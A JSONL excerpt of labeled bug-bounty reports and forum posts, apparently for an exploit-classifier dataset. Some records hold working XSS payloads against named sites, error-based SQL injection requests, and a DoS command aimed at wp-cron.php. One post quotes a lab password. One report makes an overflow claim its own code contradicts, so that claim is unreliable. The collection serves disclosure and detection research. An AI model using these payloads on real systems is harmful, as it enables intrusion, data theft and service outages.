Impact\n\nCookie設定において、外部からCookieのname、path属性、domain属性が指定できるケースはまれであるため、セキュリティ上の影響は軽微であるが、保険的にチェックされることが好ましい。PHPのsetcookie関数等ではチェックされ、不正な文字を含む場合はエラーとなり、Set-Cookie属性は出力されない。\n例外的にnameまたはpath属性、domain属性を外部から指定できる場合は、例で示したように、あらたなレスポンスヘッダあるいはレスポンスボディの追加ができ、JavaScriptの実行などXSSと同等の脅威となる。\n\nまた、RFC6265に定めるmax-age属性や最近のブラウザが対応するsamesite属性（[rfc6265bis](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis-03#section-5.3.7)など）には対応していない。samesite属性に対応していないのは実用上不便でありCookieを安全な設定にできないという意味でセキュアでもない。\n\nただし、例3で示す「裏技」によりこれら属性を指定できるが、本来はCGI::Cookieクラスの機能として提供するべきであるし、属性のインジェクションができることは望ましくない。\n\nなお、[マニュアル](https://docs.ruby-lang.org/ja/latest/class/CGI=3a=3aCookie.html)にはhttponly属性の指定方法が記載されていないが、実装はされているようである。", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f31568e89ddde0a4fa33", "text": "[Cross-site Scripting (XSS) - Stored] XSS exploit of RDoc documentation generated by rdoc\n\nWhen creating  an RDoc html documentation, there is a possibility to inject malicious code through file name.\n\n# PoC\n\n```bash\n~ $ touch \\\"\\>\\<object\\ src\\=1\\ onerror\\=\\\"javascript\\:alert\\(1\\)\\;\\\"\\>Controlling\\ what\\ is\\ documented\\ here\n~ $ ls\n\"><object src=1 onerror=\"javascript:alert(1);\">Controlling what is documented here\n~ $ rdoc --all\n```\n\nNow, the generated index file has injected javascript code:\n\n```html\n...\n<li><a href=\"./\"><object src=1 onerror=\"javascript:alert(1);\">Controlling what is documented here.html\">&quot;&gt;&lt;object src=1 onerror=&quot;javascript:alert(1);&quot;&gt;Controlling what is documented here</a>\n...\n```\n\nI set to the vulnerability the same severity as CVE-2013-0256 has, since rdoc is widely used on dev/production systems online documentation, etc.  An attacker can hide a bad-named-file deep in the project structure to be stealthy. Also,  the file can be very tricky-named in documentation list, can contain the real documentation code, and so as not to arouse suspicion for some time.\n\n## Impact\n\nThe injected code can exfiltrate data or install malware on the (user|developer)’s machine, etc.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2013-0256"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f6505f9a750de0d7732", "text": "[Cross-site Scripting (XSS) - Reflected] xss reflected - pqm.tva.com\n\nPOC:\n\nhttps://pqm.tva.com/siteminderagent/forms/smpwservices.fcc?USERNAME=\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e&SMAUTHREASON=7\n\n## Impact\n\nWith the help of xss a hacker or attacker can perform social engineering on users by redirecting them from real website to fake one. hacker can steal their cookies and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "62edec84f4b838729711", "text": "[Classic Buffer Overflow] Buffer overflow and affected url:-https://github.com/curl/curl/blob/master/docs/examples/hsts-preload.c\n\n## Summary:\nA buffer overflow, also known as a buffer overrun, occurs when a program or process attempts to write more data to a buffer than the buffer is allocated to hold. This can happen if the program does not properly check the length of the data before writing it to the buffer, or if the program allocates too little space for the buffer.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n1. The hstsread function in the provided code does not properly check the length of the host string before copying it into the e->name buffer. This could lead to a buffer overflow, allowing an attacker to inject arbitrary code into the application.this could exploited by a malicious domain or website whose url should be long enough to overflow buffer as it's using strcpy function \nCondition a malicious preload host is required to exploit this if it's meet government can use it for zero click attack\n\nRecommendation:\n\nThe hstsread function should be modified to check the length of the host string before copying it into the e->name buffer. If the string is too long, the function should return an error code\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\nAffected url:-https://github.com/curl/curl/blob/master/docs/examples/hsts-preload.c\nHere is the vulnerable code if attacker or government manipulate developer to add a very long domain name in  hsts_preload then this will result remote code execution \n\n\n\n#include <stdio.h>\n#include <string.h>\n#include <curl/curl.h>\n\nstruct entry {\n  const char *name;\n  const char *exp;\n};\n\nstatic const struct entry preload_hosts[] = {\n  { \"example.com\", \"20370320 01:02:03\" },\n  { \"curl.se\",     \"20370320 03:02:01\" },\n  { NULL, NULL } /* end of list marker */\n};\n\nstruct state {\n  int index;\n};\n\n/* \"read\" is from the point of the library, it wants data from us. One domain\n   entry per invoke. */\nstatic CURLSTScode hstsread(CURL *easy, struct curl_hstsentry *e,\n                            void *userp)\n{\n  const char *host;\n  const char *expire;\n  struct state *s = (struct state *)userp;\n  (void)easy;\n  host = preload_hosts[s->index].name;\n  expire = preload_hosts[s->index++].exp;\n\n  if(host && (strlen(host) < e->namelen)) {\n    strcpy(e->name, host);\n    e->includeSubDomains = 0;\n    strcpy(e->expire, expire);\n    fprintf(stderr, \"HSTS preload '%s' until '%s'\\n\", host, expire);\n  }\n  else\n    return CURLSTS_DONE;\n  return CURLSTS_OK;\n}\n\nstatic CURLSTScode hstswrite(CURL *easy, struct curl_hstsentry *e,\n                             struct curl_index *i, void *userp)\n{\n  (void)easy;\n  (void)userp; /* we have no custom input */\n  printf(\"[%u/%u] %s %s\\n\", (unsigned int)i->index, (unsigned int)i->total,\n         e->name, e->expire);\n  return CURLSTS_OK;\n}\n\nint main(void)\n{\n  CURL *curl;\n  CURLcode res;\n\n  curl = curl_easy_init();\n  if(curl) {\n    struct state st = {0};\n\n    /* enable HSTS for this handle */\n    curl_easy_setopt(curl, CURLOPT_HSTS_CTRL, (long)CURLHSTS_ENABLE);\n\n    /* function to call at first to populate the cache before the transfer */\n    curl_easy_setopt(curl, CURLOPT_HSTSREADFUNCTION, hstsread);\n    curl_easy_setopt(curl, CURLOPT_HSTSREADDATA, &st);\n\n    /* function to call after transfer to store the new state of the HSTS\n       cache */\n    curl_easy_setopt(curl, CURLOPT_HSTSWRITEFUNCTION, hstswrite);\n    curl_easy_setopt(curl, CURLOPT_HSTSWRITEDATA, NULL);\n\n    /* use the domain with HTTP but due to the preload, it should do the\n       transfer using HTTPS */\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://curl.se\");\n\n    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\n\n    /* Perform the request, res will get the return code */\n    res = curl_easy_perform(curl);\n    /* Check for errors */\n    if(res != CURLE_OK)\n      fprintf(stderr, \"curl_easy_perform() failed: %s\\n\",\n              curl_easy_strerror(res));\n\n    /* always cleanup */\n    curl_easy_cleanup(c", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "86fbabcb9877d9febd0b", "text": "I checked on Discord and it is a different WMI command, as @hajdarevicedin mentioned. In CLI: wmic OS get SerialNumber In PowerShell: Get-WmiObject -Class Win32_OperatingSystem | select SerialNumber", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1b6d31727e35a2e0f361", "text": "[Information Disclosure] Private invitation links/tokens leak to third-party analytics site\n\n**Summary:**\nPrivate invite links are normally FILTERED before sending to  third-party analytics sites. But it is seen that in few cases where the invitation link that requires users to accept NDA policy, the private invitation links are still sent to third party analytics site. \n\n\n**Steps to reproduce**\n\n1. Click on the invitation link that has NDA policy.\n2. Look for request to https://www.google-analytics.com/collect with private invitation link in the `dl` parameter.\n\nI am attaching a video PoC demonstrating the steps\n\n██████\n\n## Impact\n\n1. As seen in majority of the cases, private links are normally redacted/FILTERED by hackerone before sending to third-party analytics sites. Some links like ones in the report, miss these security validations.\n2. Leaking of private program links can be a privacy issue to the program and users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5b43ba5c59b41cf46bad", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS Via origCity Parameter (UPPER Case + WAF Protection Bypass)\n\n##Summary\n\nThe Injection occurs on an `onsubmit` event, this will require an extra click, however this page is vulnerable to clickjacking as well, this makes a little bit more easier to exploit\n\n{F1538302}\n\n## Steps To Reproduce:\n\n1->Open\n\nhttps://www.hotwire.com/air/search-options.jsp?inputId=ext-link-disambig&rs=0&isMultiAirport=true&startDate=12%2F09%2F21&endDate=12%2F12%2F21&noOfTickets=1&origCity=xss;%27}}),%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%28%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%2b%5b%21%5b%5d%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%21%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%2b%28%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%5b%2b%21%2b%5b%5d%5d%29%29%5b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%2b%5b%5d%29%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8717b18b7129d6d93013", "text": "[Improper Authentication - Generic] Security Issue into Wallet lock protection\n\n# Description\n\nWhile testing wallet extension i generally try to test multiple endpoints, so 2 tabs were open of wallet on chrome-extension://ldinpeekobnhjjdofggfgjlcehhmanlj/popup.html\n\n\nSo i tried to lock Wallet extension buti found that i can still use browser in 2nd tab, why i had already locked wallet,\n\n\nSo there is a security issue where wallet is not properly encrypted after user press lock\n\nWallet should close all open tabs of wallets and encrypt data for all tabs, It's very insecure way of password protection or lock protection\n\n\n# Steps To reproduce\n\nTo understand clearly i had created a POC video \n{F2061644}\n\n1. Open two tabs of chrome-extension://ldinpeekobnhjjdofggfgjlcehhmanlj/popup.html\n2. lock wallet in any of 1 tab and you can see you can access wallet on other tab and still able to do transaction as shown in POC{F2061648}\n\n\n# HOW to fix?\n\nEdit code and make sure when user click on lock wallet wallet should encrypt data in all tabs or close rest of the tabs to protect user and make lock protection work more securely\n\nThank you\n\n## Impact\n\nThis is totally fail of lock protection AND attacker can use this vulnerability to craft custom attacks", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3f0a61fa5fa521c4d294", "text": "[Improper Input Validation] Add more seats by paying less via PUT /v2/seats request manipulation\n\n## Summary:\nI could not fully test this vulnerability because the test plan must be completed for the payment process, that is, 30 days. But the price value in api also changes and if payment is made according to this value, wrong billing will occur.\n\nThe annual pro option for Team plan billing is $60 per seat. However, if the user enters a decimal number instead of an integer while adding a seat, the number is rounded up, but the price is only multiplied by the integer part. For example it would be like this :\n\n```javascript\nseats = 5\namount = 300\nbady.seats = 1.1\n\nseats += Math.ceil(bady.seats)\n// 5  +=             2\n// seats : 7 \n\namount += Math.floor(bady.seats) * 60\n// 300 +=                 1      * 60\n// amount : 360 \n```\n\n## Steps To Reproduce:\n\n* Register the app and finish the installation. [help document](https://help.krisp.ai/hc/en-us/articles/360017564739-Creating-a-Krisp-personal-account)\n* Create a new team.\n* Go to billing and listen to traffic with burp.\n* Add seat and capture the request with burp.\n* Replace the number of seats with 1.9 \n* You will see that you have added 2 seats but the price has increased by $60.\n\nWe can reduce the price by adding and deleting seats.\n\nPoc video -|\n\n{F1574747}\n\n## Impact\n\nAttacker can manipulate membership price", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dc75dd49cb9e55957e46", "text": "I figured out what we were doing wrong today. You may have received a message asking you to confirm whether you want to proceed to establish ssh connection with the host because the host is “unrecognized”. You would have had to make one of three options looking something like this “Yes/no/fingerprint”. If you saw this message, then the mistake you are making is, you are using the wrong user identity. In my case it was “htb_student” instead of “htb-student”. The underscore used in place of the hyphen was the major cause. Essentially what it might mean is that you connected to a different host who’s password is not “HTB_ @cademy_stdnt !”", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e993b559a99f634ce176", "text": "[Open Redirect] Homograph attack bypass cause redirection\n\nHi Team,\nI read the report #563268 which is a great report that was able to trick users to click on links which appears to them normal links but in fact its malicious links So I tried to find a way to make this happen again and I found out that there is a  Homograph attack bypass which can redirect users to malicious sites.\n\n**Vulnerable URL:**\n```\nhttps://rinkerboats.vanillacommunities.com/home/leaving?Target=http://www.ɡооɡⅼе.ϲоⅿ\\:@%20\n```\n**Message:**\n```\nYou are now leaving Rinker Boat Company. Click the link to continue to http://www.ɡооɡⅼе.ϲоⅿ\\:@ \n```\nThis will redirect users to http://www.xn--l-r1aa78phba.xn--m-zmb38a/:@ and not http://www.google.com\nIn Homograph attack basically an attacker can change text to another and it will look like the original text for example google.com and ɡооɡⅼе.ϲоⅿ are not the same. You can know more \n\n##References:\nhttps://www.charset.org/punycode?encoded=http%3A%2F%2Fxn--eby-7cd.com%2F&decode=Punycode+to+normal+text\nhttp://www.chromium.org/developers/design-documents/idn-in-google-chrome\n\n##Similar Reports:\nhttps://hackerone.com/reports/861940\nhttps://hackerone.com/reports/29491\nhttps://hackerone.com/reports/175286\nhttps://hackerone.com/reports/271324\nhttps://hackerone.com/reports/143975\n\n## Impact\n\nRedirect users to malicious websites.\n\nRegards,\nMalek", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "14bbfe53c28ddd096e07", "text": "[Business Logic Errors] User can link non-public file attachments, leading to file disclose on edit by higher-privileged user\n\nCVSS\n----\n\nMedium 6.5 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)\n\nDescription\n-----------\n\nUploaded files can be linked to from anywhere by referencing their ID. If the user viewing the reference to the file has permission to access the file, it will be rendered. Otherwise, the reference will be displayed as text.\n\nIf a user references a file from a private location in a public location, the file permissions will silently be updated and the file will be made available publicly as well (if the user has permission to access the file; otherwise, permissions will remain unchanged).\n\nThis behavior results in problems when a higher-privileged user edits the post of a lower-privileged user which contains a reference to a private file. The file will be disclosed publicly, without the user intending this or being aware of it.\n\nPOC\n---\n\nSetup:\n\n- Create a private task (task is just one example, all components are affected by this): `/maniphest/` -> create task -> Visible to / Editable by: administrators (or some other high-privileged group).\n- Add an attachment: leave a comment -> Upload file. Note the file ID.\n\nAttack:\n\n- With a lower-privileged user, create a public task (or some other component): `/maniphest/` -> create task -> Include a reference to the private file in the description, eg `{F27}`. Include some formatting mistakes, typos, profanity, etc to entice a higher-privileged user into editing the post.\n- Wait for a higher-privileged user viewing the task. The user will see the file attachment resolve normally, edit the task and fix the formatting error. Nothing will indicate that a private file has been made public.\n- After the user has edited the post, the file will be available to the lower-privileged user.\n\n## Impact\n\ndisclosure of private file attachments when a user with access to the attachment edits a post of a user without access to it.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8986e2059016838d851b", "text": "[SQL Injection] Unauthenticated SQL Injection at █████████  [HtUS]\n\n## Summary\nHi team, I found Unauthenticated SQL Injection at ██████. Because of non-filter and non-escape input at API /api/organizations/*, attacker can inject malicious payload after single quote (') to exploit and extract database.\n\n## Step to Reproduce:\n\nExecute Request\n```\nGET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa HTTP/1.1\nHost: ████ \nUser-Agent: Mozilla/5.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 \nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 \nAccept-Encoding: gzip, deflate \nUpgrade-Insecure-Requests: 1 \nSec-Fetch-Dest: document \nSec-Fetch-Mode: navigate \nSec-Fetch-Site: none \nSec-Fetch-User: ?1 \nTe: trailers\n\n\n\n```\n\n\nThen the response is \n\n```\nHTTP/1.1 500 Internal Server Error\nContent-Type: application/json; charset=utf-8\nContent-Length: 209\nCross-Origin-Embedder-Policy: require-corp\nCross-Origin-Opener-Policy: same-origin\nCross-Origin-Resource-Policy: same-origin\nX-DNS-Prefetch-Control: off\nExpect-CT: max-age=0\nX-Frame-Options: SAMEORIGIN\nX-Download-Options: noopen\nX-Content-Type-Options: nosniff\nOrigin-Agent-Cluster: ?1\nX-Permitted-Cross-Domain-Policies: none\nReferrer-Policy: no-referrer\nX-XSS-Protection: 0\nStrict-Transport-Security: max-age=31536000\nExpires: Tue, 05 Jul 2022 04:12:11 GMT\nCache-Control: max-age=0, no-cache, no-store\nPragma: no-cache\nDate: Tue, 05 Jul 2022 04:12:11 GMT\nConnection: keep-alive\n\n{\"statusCode\":500,\"code\":\"P2010\",\"error\":\"Internal Server Error\",\"message\":\"\\nInvalid `prisma.queryRaw()` invocation:\\n\\n\\n  Raw query failed. Code: `1105`. Message: `XPATH syntax error: ':█████████'`\"}\n```\n\n\nThe result was leaked by SQL XPATH Error, so we get user() = ████████\n\nChange query to version() we get version = 8.0.23\nhttps://██████/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+version()))))=1--%20aa\n\nChange query to version() we get database = ███\nhttps://███/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+database()))))=1--%20aa\n\n█████████\n██████████\n███\nTo extract data, we use this requests\n```\nGET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from%20information_schema.tables%20limit%2054,1))))=' HTTP/1.1\nHost: ████ \nUser-Agent: Mozilla/5.0  \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 \nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 \nAccept-Encoding: gzip, deflate \nUpgrade-Insecure-Requests: 1 \nSec-Fetch-Dest: document \nSec-Fetch-Mode: navigate \nSec-Fetch-Site: none \nSec-Fetch-User: ?1 \nTe: trailers\n\n\n```\n\n█████\n\n## Impact\n\nAttacker can extract database from server █████", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7c79dfc3181145f8076", "text": "[Unknown] Yet another SSRF query for Javascript\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b30b11bcefce1c873094", "text": "[Information Disclosure] Notification implicit PendingIntent in com.nextcloud.client allows to access contacts\n\nWhen the victim downloads files in nextcloud.A notification will be triggered. The content of the notification is \"Downloaded\".This notification is used to remind the user that the download is complete.The pendingintent in this notification is an implicit intent.\n\nAt this time a malicious app with \"BINDNOTIFICATIONLISTENER_SERVICE\" permission can get the pendintent of this notification, because it is an implicit pendintent. Therefore, the malicious app can set the \"packageName\" and \"clipdata\" of this pendintent. At this time, the malicious application will inherit the permissions of \"com.nextcloud.client\".Because nextcloud  has contacts permissions. Therefore, malicious applications can read the contacts without applying for the contacts permission.\n{F1262742}\nAt the same time, because of the path configuration of fileprovider, the log file in the nextcloud app directory can also be read\n{F1262743}\n\nThe code of this implicit pendingintent is in\n\"com.owncloud.android.files.services.FileDownloader.notifyDownloadResult(com.owncloud.android.operations.DownloadFileOperation, com.owncloud.android.lib.common.operations.RemoteOperationResult) : void\"\n{F1262747}\n\nSteps To Reproduce:\npackageName:com.nextcloud.client\nversionName:3.15.1\nphone:pixel3\nAndroidVersion:10\n\n1.install and run \"poc.apk\"\n2.click the button to give the \"BINDNOTIFICATIONLISTENER_SERVICE\" permission to poc\n3.install \"com.nextcloud.client.apk\" and give contacts permission to nextcloud.\n4.Download a file as shown in the video.At this time, the victim's app will trigger a notification\n5.run \"adb logcat | grep sbn\". now you can see the contact stolen by the attacker\n\nSupporting Material/References:\n1.read contacts poc video\n{F1262750}\n\n2.poc.apk\n{F1262748}\n\n3.\"com.nextcloud.client.apk\"\n{F1262746}\n\n## Impact\n\nAny application with notification permission can steal contacts without apply for the contacts permission\nTo fix this vulnerability, please set the flag of pengingintent to FLAG_IMMUTABLE", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ee7e6c8d19b24af0454e", "text": "[Uncontrolled Resource Consumption] WordPress application vulnerable to DoS attack via wp-cron.php\n\n**Description:**\nHi team,\n\nThe WordPress application is vulnerable to a Denial of Service (DoS) attack via the wp-cron.php script. This script is used by WordPress to perform scheduled tasks, such as publishing scheduled posts, checking for updates, and running plugins.\n\nAn attacker can exploit this vulnerability by sending a large number of requests to the wp-cron.php script, causing it to consume excessive resources and overload the server. This can lead to the application becoming unresponsive or crashing, potentially causing data loss and downtime.\n\nI found this vulnerability at https://████████ endpoint.\n\n## References\n\nhttps://developer.wordpress.org/plugins/cron/\n\n## Impact\n\nA successful attack on this vulnerability can result in the following consequences:\n\n    - Denial of Service (DoS) attacks, rendering the application unavailable.\n    - Server overload and increased resource usage, leading to slow response times or application crashes.\n   -  Potential data loss and downtime.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Get the doser.py script at https://github.com/Quitten/doser.py\n2. Use this command to run the script:\n```\npython3 doser.py -t 999 -g 'https://█████/wp-cron.php'\n```\n3. Go to https://████ after 1000 requests of the doser.py script.\n4. The site returns code 502.\n5. See the video PoC.\n\n## Suggested Mitigation/Remediation Actions\nTo mitigate this vulnerability, it is recommended to disable the default WordPress wp-cron.php script and set up a server-side cron job instead.\nHere are the steps to disable the default wp-cron.php script and set up a server-side cron job:\n\n   1.  Access your website's root directory via FTP or cPanel File Manager.\n   2.  Locate the wp-config.php file and open it for editing.\n   3.  Add the following line of code to the file, just before the line that says \"That's all, stop editing! Happy publishing.\":\n```\ndefine('DISABLE_WP_CRON', true);\n```\n   4.  Save the changes to the wp-config.php file.\n   5. Set up a server-side cron job to run the wp-cron.php script at the desired interval. This can be done using the server's control panel or by editing the server's crontab file.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
